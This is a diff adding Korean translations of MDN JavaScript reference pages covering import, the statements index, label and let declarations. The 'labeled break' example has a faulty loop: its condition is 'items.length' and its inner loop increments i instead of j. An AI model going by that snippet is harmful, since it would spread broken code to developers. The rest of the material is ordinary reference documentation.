+<p>모듈 전체를 가져옵니다. export 한 모든 것들을 현재 범위(스크립트 파일 하나로 구분되는 모듈 범위) 내에 <code>myModule</code> 로 바인딩되어 들어갑니다.</p>
+
+<pre class="brush: js">import * as <em>myModule</em> from "my-module.js";
+</pre>
+
+<p>모듈에서 하나의 멤버만 가져옵니다. 현재 범위 내에 <code>myMember</code> 이 들어갑니다.</p>
+
+<pre class="brush: js">import {myMember} from "my-module.js";</pre>
+
+<p>모듈에서 여러 멤버들을 가져옵니다. 현재 범위 내에 <code>foo</code> 와 <code>bar</code> 이 들어갑니다.</p>
+
+<pre class="brush: js">import {foo, bar} from "my-module.js";</pre>
+
+<p>멤버를 가져올 때 좀 더 편리한 별명을 지정해줍니다. 현재 범위 내에 <code>shortName</code> 이 들어갑니다.</p>
+
+<pre class="brush: js">import {reallyReallyLongModuleMemberName as shortName} from "my-module.js";</pre>
+
+<p>모듈에서 여러 멤버들을 편리한 별명을 지정하며 가져옵니다.</p>
+
+<pre>import {reallyReallyLongModuleMemberName as shortName, anotherLongModuleName as short} from "my-module.js";</pre>
+
+<p>어떠한 바인딩 없이 모듈 전체의 사이드 이펙트만 가져옵니다.</p>
+
+<pre class="brush: js">import "my-module.js";</pre>
+
+<h3 id="기본값_가져오기">기본값 가져오기</h3>
+
+<p>default export 를 통해 내보낸 것을 기본값으로 가져올 수 있습니다. (object, function, class 등). export 와 상반된 <code>import</code> 명령어를 통해 기본값을 가져오는 것이 가능합니다.</p>
+
+<p>기본값으로 바로 가져오는 가장 간단한 버전:</p>
+
+<pre class="brush: js">import myModule from "my-module.js";</pre>
+
+<p>위와 함께 기본 구문도 같이 사용할 수 있습니다 (namespace 가져오기 또는 이름 지정하여 가져오기). 이러한 경우, 기본값 가져오는 부분을 먼저 선언해야 할 것입니다. 예를 들어:</p>
+
+<pre class="brush: js">import myDefault, * as myModule from "my-module.js";
+// myModule used as a namespace</pre>
+
+<p>또는</p>
+
+<pre class="brush: js">import myDefault, {foo, bar} from "my-module.js";
+// specific, named imports
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>AJAX JSON 리퀘스트 처리를 돕는 보조 파일을 가져옵니다.</p>
+
+<pre class="brush: js; highlight: [14]">// --file.js--
+function getJSON(url, callback) {
+ let xhr = new XMLHttpRequest();
+ xhr.onload = function () {
+ callback(this.responseText)
+ };
+ xhr.open("GET", url, true);
+ xhr.send();
+}
+
+export function getUsefulContents(url, callback) {
+ getJSON(url, data =&gt; callback(JSON.parse(data)));
+}
+
+// --main.js--
+import { getUsefulContents } from "file.js";
+getUsefulContents("http://www.example.com", data =&gt; {
+ doSomethingUseful(data);
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-imports', 'Imports')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-imports', 'Imports')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li><a href="https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/">Previewing ES6 Modules and more from ES2015, ES2016 and beyond</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/index.html b/files/ko/web/javascript/reference/statements/index.html
new file mode 100644
index 0000000000..cd83b9f1c0
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/index.html
@@ -0,0 +1,143 @@
+---
+title: 문 및 선언
+slug: Web/JavaScript/Reference/Statements
+tags:
+ - JavaScript
+ - Reference
+ - statements
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>JavaScript 응용 프로그램은 적절한 구문을 갖는 문으로 구성됩니다. 한 문이 여러 줄에 걸칠 수 있습니다. 여러 문은 각 문이 세미콜론으로 구분된 경우 한 줄에 나올 수 있습니다. 이는 키워드 하나가 아니라, 키워드 그룹입니다.</p>
+
+<h2 id="항목별_문_및_선언">항목별 문 및 선언</h2>
+
+<p>알파벳순 목록은 왼쪽 사이드바를 보세요.</p>
+
+<h3 id="흐름_제어">흐름 제어</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/block", "Block")}}</dt>
+ <dd>블록문은 0개 이상의 문을 묶을 때 쓰입니다. 블록은 중괄호 한 쌍으로 구분됩니다.</dd>
+ <dt>{{jsxref("Statements/break", "break")}}</dt>
+ <dd>현재 루프, <code>switch</code> 또는 <code>label</code> 문을 종료하고 프로그램 제어를 종료된 문의 다음 문으로 넘겨줍니다.</dd>
+ <dt>{{jsxref("Statements/continue", "continue")}}</dt>
+ <dd>현재 또는 레이블 달린 루프의 현재 반복 중인 문의 실행을 종료하고 루프의 실행은 다음 반복으로 이어집니다.</dd>
+ <dt>{{jsxref("Statements/Empty", "empty")}}</dt>
+ <dd>empty 문은 내용이 없는 빈 문을 제공하기 위해 사용됩니다, 비록 JavaScript 구문이 문을 기대할 것이지만.</dd>
+ <dt>{{jsxref("Statements/if...else", "if...else")}}</dt>
+ <dd>지정된 조건이 true면 문을 실행. 조건이 false인 경우, 다른 문이 실행될 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/switch", "switch")}}</dt>
+ <dd>식의 값이 case 절과 일치하는지 식을 평가하고 case 절과 관련된 문을 실행합니다.</dd>
+ <dt>{{jsxref("Statements/throw", "throw")}}</dt>
+ <dd>사용자 정의 예외가 발생합니다.</dd>
+ <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt>
+ <dd>시도(try)할 문 블록을 표시하고 예외가 발생되어야 하는 응답을 지정합니다.</dd>
+</dl>
+
+<h3 id="선언">선언</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>변수를 선언합니다, 변수를 값으로 초기화할 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/let", "let")}}</dt>
+ <dd>블록 범위 지역 변수를 선언합니다, 변수를 값으로 초기화할 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/const", "const")}}</dt>
+ <dd>읽기 전용 유명(named) 상수를 선언합니다.</dd>
+</dl>
+
+<h3 id="함수_및_클래스">함수 및 클래스</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/function", "function")}}</dt>
+ <dd>지정된 매개변수를 갖는 함수를 선언합니다.</dd>
+ <dt>{{jsxref("Statements/function*", "function*")}}</dt>
+ <dd><a href="/ko/docs/Web/JavaScript/Guide/The_Iterator_protocol" title="iterators">반복기</a>를 더 쉽게 작성할 수 있게 하는 생성기 함수.</dd>
+ <dt>{{jsxref("Statements/return", "return")}}</dt>
+ <dd>함수에 의해 반환되는 값을 지정합니다.</dd>
+ <dt>{{jsxref("Statements/class", "class")}}</dt>
+ <dd>클래스를 선언합니다.</dd>
+</dl>
+
+<h3 id="반복">반복</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/do...while", "do...while")}}</dt>
+ <dd>테스트 조건이 거짓으로 평가될 때까지 지정된 문을 실행하는 루프를 만듭니다. 조건은 문을 실행한 후 평가됩니다, 그 결과 지정된 문은 적어도 한 번 실행됩니다.</dd>
+ <dt>{{jsxref("Statements/for", "for")}}</dt>
+ <dd>괄호로 묶이고 세미콜론으로 구분된 선택사항 식 셋으로 구성된 루프를 만듭니다, 루프에서 실행되는 문이 뒤따릅니다.</dd>
+ <dt>{{jsxref("Statements/for_each...in", "for each...in")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>객체의 모든 속성값에 대해 지정된 변수를 반복합니다. 각 개별 속성에 대해, 지정된 문이 실행됩니다.</dd>
+ <dt>{{jsxref("Statements/for...in", "for...in")}}</dt>
+ <dd>임의의 순서로 객체의 열거 속성을 반복합니다. 각 개별 속성에 대해, 문은 실행될 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/for...of", "for...of")}}</dt>
+ <dd>반복 가능한 객체 ({{jsxref("Global_Objects/Array","배열","","true")}}, 배열 같은 객체, <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators">반복기 및 생성기</a> 포함) 를 반복합니다, 각 개별 속성값에 대해 실행되는 문을 가진 사용자 정의 반복 후크를 호출하는.</dd>
+ <dt>{{jsxref("Statements/while", "while")}}</dt>
+ <dd>테스트 조건이 true로 평가되는 한 지정된 문을 실행하는 루프를 만듭니다. 조건은 문을 실행하기 전에 평가됩니다.</dd>
+</dl>
+
+<h3 id="기타">기타</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/debugger", "debugger")}}</dt>
+ <dd>이용 가능한 디버깅 기능을 호출합니다. 이용 가능한 기능이 없는 경우, 이 문은 아무 효과가 없습니다.</dd>
+ <dt>{{jsxref("Statements/export", "export")}}</dt>
+ <dd>외부 모듈, 다른 스크립트에 가져올(import) 수 있도록 함수를 내보내(export)는데 사용됩니다.</dd>
+ <dt>{{jsxref("Statements/import", "import")}}</dt>
+ <dd>외부 모듈, 다른 스크립트에서 내보낸 함수를 가져오는데 사용됩니다.</dd>
+ <dt>{{jsxref("Statements/label", "label")}}</dt>
+ <dd><code>break</code> 또는 <code>continue</code> 문을 사용하여 참조할 수 있는 식별자 있는 문을 제공합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Statements/with", "with")}} {{deprecated_inline}}</dt>
+ <dd>문의 스코프 체인을 확장합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>신규: function*, let, for...of, yield, class</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators">연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/label/index.html b/files/ko/web/javascript/reference/statements/label/index.html
new file mode 100644
index 0000000000..49d6054031
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/label/index.html
@@ -0,0 +1,241 @@
+---
+title: label
+slug: Web/JavaScript/Reference/Statements/label
+translation_of: Web/JavaScript/Reference/Statements/label
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>레이블 구문</strong>은 {{jsxref("Statements/break", "break")}}나 {{jsxref("Statements/continue", "continue")}} 구문과 함께 사용할 수 있다. 원하는 식별자로 구문 앞에 레이블을 추가할 수 있다.</p>
+
+<div class="note">
+<p>레이블을 붙인 반복문이나 블록가 자주 사용되는 것은 아니다. 반복문으로 점프하는 대신에 함수를 호출할 수도 있다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>label</em> :
+ <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>자바스크립트에서 사용할 수 있는 식별자면 모두 가능하다.</dd>
+ <dt><code>statement</code></dt>
+ <dd>구문. break는 모든 레이블 구문에서 사용될 수 있으며, continue는 반복 레이블 구문에서만 사용할 수 있다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>반복문에 레이블을 붙이고, break나 continue 구문을 사용해 반복문의 어느 위치에서 작업을 멈추고 어느 위치에서 다시 수행할지를 알려줄 수 있다.</p>
+
+<p>자바스크립트에는 goto 구문이 없다는 것에 주의. break나 continue에서만 레이블을 사용할 수 있다.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>  코드에서 "let"을 레이블 이름으로 사용할 수 없다. {{jsxref("SyntaxError")}}를 발생시킨다. (let은 허용되지 않는 식별자이다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for문에서_레이블_continue_사용하기">for문에서 레이블 continue 사용하기</h3>
+
+<pre class="brush: js">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) { //첫번째 for문은 "loop1" 레이블을 붙였다.
+ loop2:
+ for (j = 0; j &lt; 3; j++) { //두번째 for문은 "loop2" 레이블을 붙였다.
+ if (i === 1 &amp;&amp; j === 1) {
+ continue loop1;
+ }
+ console.log('i = ' + i + ', j = ' + j);
+ }
+}
+
+// 출력 결과:
+// "i = 0, j = 0"
+// "i = 0, j = 1"
+// "i = 0, j = 2"
+// "i = 1, j = 0"
+// "i = 2, j = 0"
+// "i = 2, j = 1"
+// "i = 2, j = 2"
+// 다음 두 경우를 어떻게 스킵하는지 주목 : "i = 1, j = 1", "i = 1, j = 2"
+</pre>
+
+<h3 id="레이블_continue문_사용하기">레이블 continue문 사용하기</h3>
+
+<p>items, tests 배열을 보면 이 예제는 tests를 통과하는 items의 수를 세고 있다.</p>
+
+<pre class="brush: js">var itemsPassed = 0;
+var i, j;
+
+top:
+for (i = 0; i &lt; items.length; i++) {
+ for (j = 0; j &lt; tests.length; j++) {
+ if (!tests[j].pass(items[i])) {
+ continue top;
+ }
+ }
+
+ itemsPassed++;
+}</pre>
+
+<h3 id="for문에_레이블_break문_사용하기">for문에 레이블 break문 사용하기</h3>
+
+<pre class="brush: js">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) { //The first for statement is labeled "loop1"
+ loop2:
+ for (j = 0; j &lt; 3; j++) { //The second for statement is labeled "loop2"
+ if (i === 1 &amp;&amp; j === 1) {
+ break loop1;
+ }
+ console.log('i = ' + i + ', j = ' + j);
+ }
+}
+
+// Output is:
+// "i = 0, j = 0"
+// "i = 0, j = 1"
+// "i = 0, j = 2"
+// "i = 1, j = 0"
+// Notice the difference with the previous continue example</pre>
+
+<h3 id="레이블_break문_사용하기">레이블 break문 사용하기</h3>
+
+<p>items, tests 배열을 보면, 다음 예제는 items가 tests를 모두 통과하는지 판단한다.</p>
+
+<pre class="brush: js">var allPass = true;
+var i, j;
+
+top:
+for (i = 0; items.length; i++)
+ for (j = 0; j &lt; tests.length; i++)
+ if (!tests[j].pass(items[i])) {
+ allPass = false;
+ break top;
+ }</pre>
+
+<h3 id="레이블_붙인_블록에_break_사용하기">레이블 붙인 블록에 break 사용하기</h3>
+
+<p>간단한 블록에도 레이블을 사용할 수 있지만, 반복문 아닌 레이블에는 break문만 사용할 수 있다.</p>
+
+<pre class="brush: js">foo: {
+ console.log('face');
+ break foo;
+ console.log('this will not be executed');
+}
+console.log('swap');
+
+// 로그는 이렇게 출력된다:
+
+// "face"
+// "swap </pre>
+
+<h3 id="레이블_붙인_함수_선언문">레이블 붙인 함수 선언문</h3>
+
+<p>ECMAScript 2015에서, 레이블 붙인 함수 선언문은 <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-labelled-function-declarations">web compatibility annex of the specification</a>의 non-strict 모드에서 표준화되어 있다.</p>
+
+<pre class="brush: js">L: function F() {}</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>  에서는 {{jsxref("SyntaxError")}}를 발생시킨다.</p>
+
+<pre class="brush: js">'use strict';
+L: function F() {}
+// SyntaxError: functions cannot be labelled</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Generator functions</a>는 strict code도 non-strict code에서도 레이블 붙일 수 없다.</p>
+
+<pre class="brush: js">L: function* F() {}
+// SyntaxError: generator functions cannot be labelled
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/let/index.html b/files/ko/web/javascript/reference/statements/let/index.html
new file mode 100644
index 0000000000..3d02a34fba
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/let/index.html
@@ -0,0 +1,246 @@
+---
+title: let
+slug: Web/JavaScript/Reference/Statements/let
+translation_of: Web/JavaScript/Reference/Statements/let
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>let</code></strong> 구문은 블록 유효 범위를 갖는 지역 변수를 선언하며, 선언과 동시에 임의의 값으로 초기화할 수도 있다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-let.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">let var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]];</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>var1</code>, <code>var2</code>, …, <code>varN</code></dt>
+ <dd>변수명. 유효한 식별자이면 가능하다.</dd>
+ <dt><code>value1</code>, <code>value2</code>, …, <code>valueN</code></dt>
+ <dd>변수의 초기값. 유효한 표현식이면 가능하다.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><strong><code>let</code></strong>은 변수가 선언된 블록, 구문 또는 표현식 내에서만 유효한 변수를 선언한다. 이는 <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong> 키워드가 블록 범위를 무시하고 전역 변수나 함수 지역 변수로 선언되는 것과 다른 점이다.</p>
+
+<p>"<strong>let</strong>"을 사용해야 하는 이유에 대해서는 이어지는 <a href="https://stackoverflow.com/questions/37916940/why-was-the-name-let-chosen-for-block-scoped-variable-declarations-in-javascri">링크</a>를 참조하시오.</p>
+
+<h3 id="유효_범위_규칙">유효 범위 규칙</h3>
+
+<p><strong><code>let</code></strong> 으로 선언된 변수는 변수가 선언된 블록 내에서만 유효하며, 당연하지만 하위 블록에서도 유효하다. 이러한 점에서는 <strong><code>let</code></strong> 과 <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>는 유사하지만, <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>는 함수 블록 이외의 블록은 무시하고 선언된다는 점이 다르다.</p>
+
+<pre class="brush:js">function varTest() {
+ var x = 1;
+ if (true) {
+ var x = 2; // 상위 블록과 같은 변수!
+ console.log(x); // 2
+ }
+ console.log(x); // 2
+}
+
+function letTest() {
+ let x = 1;
+ if (true) {
+ let x = 2; // 상위 블록과 다른 변수
+ console.log(x); // 2
+ }
+ console.log(x); // 1
+}
+</pre>
+
+<p id="Scoping_rules">프로그램이나 함수의 최상위에서는 <strong><code>let</code></strong>과 <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>은 서로 다르게 행동한다. <strong><code>let</code></strong>은 전역 객체의 속성 값을 생성하지 않는다.</p>
+
+<pre class="brush:js">var x = 'global';
+let y = 'global';
+console.log(this.x); // "global" 전역 객체의 속성 x를 생성
+console.log(this.y); // undefined 전역 객체의 속성 y를 생성하지 않음
+</pre>
+
+<h3 id="비공개_변수_모사">비공개 변수 모사</h3>
+
+<p><a href="/en-US/docs/Glossary/Constructor">생성자</a>와 함께 사용하여 <a href="/en-US/docs/Web/JavaScript/Closures">클로저</a>를 사용하지 않고 비공개 변수를 만들고 접근할 수 있다.</p>
+
+<pre class="brush:js">var Thing;
+
+{
+ let privateScope = new WeakMap();
+ let counter = 0;
+
+ Thing = function() {
+ this.someProperty = 'foo';
+
+ privateScope.set(this, {
+ hidden: ++counter,
+ });
+ };
+
+ Thing.prototype.showPublic = function() {
+ return this.someProperty;
+ };
+
+ Thing.prototype.showPrivate = function() {
+ return privateScope.get(this).hidden;
+ };
+}
+
+console.log(typeof privateScope);
+// "undefined"
+
+var thing = new Thing();
+
+console.log(thing);
+// Thing {someProperty: "foo"}
+
+thing.showPublic();
+// "foo"
+
+thing.showPrivate();
+// 1
+</pre>
+
+<h3 id="임시적인_사각_지역과_오류">임시적인 사각 지역과 오류</h3>
+
+<p>같은 변수를 같은 함수나 블록 범위 내에서 재선언하면 {{jsxref("SyntaxError")}}가 발생한다.</p>
+
+<pre class="brush: js example-bad">if (x) {
+ let foo;
+ let foo; // SyntaxError thrown.
+}</pre>
+
+<p>ECMAScript 2015에서는<strong><code>let</code></strong>은 <strong>선언 끌어올리기</strong>의 적용을 받지 않습니다.  이는 <strong><code>let</code></strong> 선언이 현재 실행되는 구간의 최상위로 옮겨지지 않는다는 것을 의미합니다. 따라서 변수가 초기화(선언)되기 전에 참조할 경우 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a></code>가 발생합니다.(<strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>로 선언된 변수는 undefined 값을 가지는 것과는 대조적입니다.) "임시적인 사각 지역"은 블록 시작 부분부터 변수 선언이 실행되기 전까지 입니다.</p>
+
+<p>(<strong><code>let</code></strong>들의 정의가 평가되기까지 초기화가 되지 않는다는 의미이지. 호이스팅이 되지않아 정의가 되지 않는다는 의미와는 다르다고 생각함_헷갈리면 안된다.)</p>
+
+<pre class="brush: js example-bad">function do_something() {
+ console.log(bar); // undefined
+ console.log(foo); // ReferenceError
+ var bar = 1;
+ let foo = 2;
+}</pre>
+
+<p><a href="/en-US/docs/JavaScript/Reference/Statements/switch"><code>switch</code></a> 구문을 사용할 때는 실제 블록이 하나 뿐이므로 중복 선언 오류가 발생하기 쉽습니다.</p>
+
+<pre class="brush: js example-bad">let x = 1;
+switch(x) {
+ case 0:
+ let foo;
+ break;
+
+ case 1:
+ let foo; // 재선언에 의한 SyntaxError.
+ break;
+}</pre>
+
+<p>하지만 case 조건을 새로운 블록으로 감싸면 위의 코드와는 다르게 재선언 오류가 발생하지 않습니다.</p>
+
+<pre class="brush: js">let x = 1;
+
+switch(x) {
+ case 0: {
+ let foo;
+ break;
+ }
+ case 1: {
+ let foo;
+ break;
+ }
+}</pre>
+
+<h3 id="임시적인_사각_지역과_typeof">임시적인 사각 지역과 <code>typeof</code></h3>
+
+<p>선언되지 않은 변수와 <code>undefined</code> 값을 지닌 변수와는 다르게, 임시적인 사각 지역에 있는 변수에 변수형 확인을 위해 <code>typeof</code>을 사용하면 <code>ReferenceError</code>가 발생합니다:</p>
+
+<pre class="brush: js">// 'undefined' 출력
+console.log(typeof undeclaredVariable);
+// 'ReferenceError' 발생
+console.log(typeof i);
+let i = 10;</pre>
+
+<h3 id="정적_유효_범위와_결합된_임시적인_사각_지역_예시">정적 유효 범위와 결합된 임시적인 사각 지역 예시</h3>
+
+<p>정적 유효 범위로 인해, 표현 <code>(foo + 55)</code> 내부의 "<strong>foo</strong>"는 33을 값으로 가지는 <u>상위 블록의 foo</u>가 아니라 <u>if 블록의 foo</u>로 해석됩니다. 해당 행에서 <u>if 블록의 "foo"</u>는 이미 정적 유효 범위에 생성되었지만, 선언의 초기화가 완료(선언 구문의 <strong>종료</strong>)되지 않았습니다. 따라서 여전히 임시적인 사각 지역에 해당됩니다.</p>
+
+<pre class="brush: js example-bad">function test(){
+ var foo = 33;
+ if (true) {
+ let foo = (foo + 55); // ReferenceError
+ }
+}
+test();</pre>
+
+<p>이 현상은 다음과 같은 상황에서 혼란을 유발할 수 있습니다. 지시 구문  <code>let n of n.a</code>은 이미 for loop 블록에 속해 있으며, 구문자 "<strong>n.a</strong>"는 속성 'a'를 지시 구문 자기자신의 앞부분에 위치한 객체 'n'에서 참조하려 합니다. 해당 객체 'n'은 위와 마찬가지로 선언이 <strong>종료</strong>되지 않았기에 임시적인 사각 지역에 해당합니다.</p>
+
+<pre class="brush: js example-bad">function go(n) {
+ // 정의되어 있는 n!
+ console.log(n); // Object {a: [1,2,3]}
+
+ for (let n of n.a) { // ReferenceError
+ console.log(n);
+ }
+}
+
+go({a: [1, 2, 3]});
+</pre>
+
+<h2 id="그_외_상황들">그 외 상황들</h2>
+
+<p>블록을 사용할 때, <strong><code>let</code></strong>은 변수의 유효 범위를 블록으로 제한합니다. 함수 내 또는 전역을 유효 범위로 가지는 <code><strong>var</strong></code>와의 차이점을 숙지하세요.</p>
+
+<pre class="brush: js">var a = 1;
+var b = 2;
+
+if (a === 1) {
+ var a = 11; // 전역 변수
+ let b = 22; // if 블록 변수
+
+ console.log(a); // 11
+ console.log(b); // 22
+}
+
+console.log(a); // 11
+console.log(b); // 2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition. Does not specify let expressions or let blocks.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.let")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-let-and-const/">ES6 In Depth: <code>let</code> and <code>const</code></a></li>
+ <li><a href="https://blog.mozilla.org/addons/2015/10/14/breaking-changes-let-const-firefox-nightly-44/">Breaking changes in <code>let</code> and <code>const</code> in Firefox 44</a></li>
+ <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20%26%20closures/ch3.md">You Don't Know JS: Scope &amp; Closures: Chapter 3: Function vs. Block Scope</a></li>
+ <li><a href="https://stackoverflow.com/a/33198850/1125029">StackOverflow: What is the Temporal Dead Zone. </a></li>
+ <li><a href="https://stackoverflow.com/questions/762011/whats-the-difference-between-using-let-and-var-to-declare-a-variable">StackOverflow: What is the difference between using let and var?</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/return/index.html b/files/ko/web/javascript/reference/statements/return/index.html
new file mode 100644
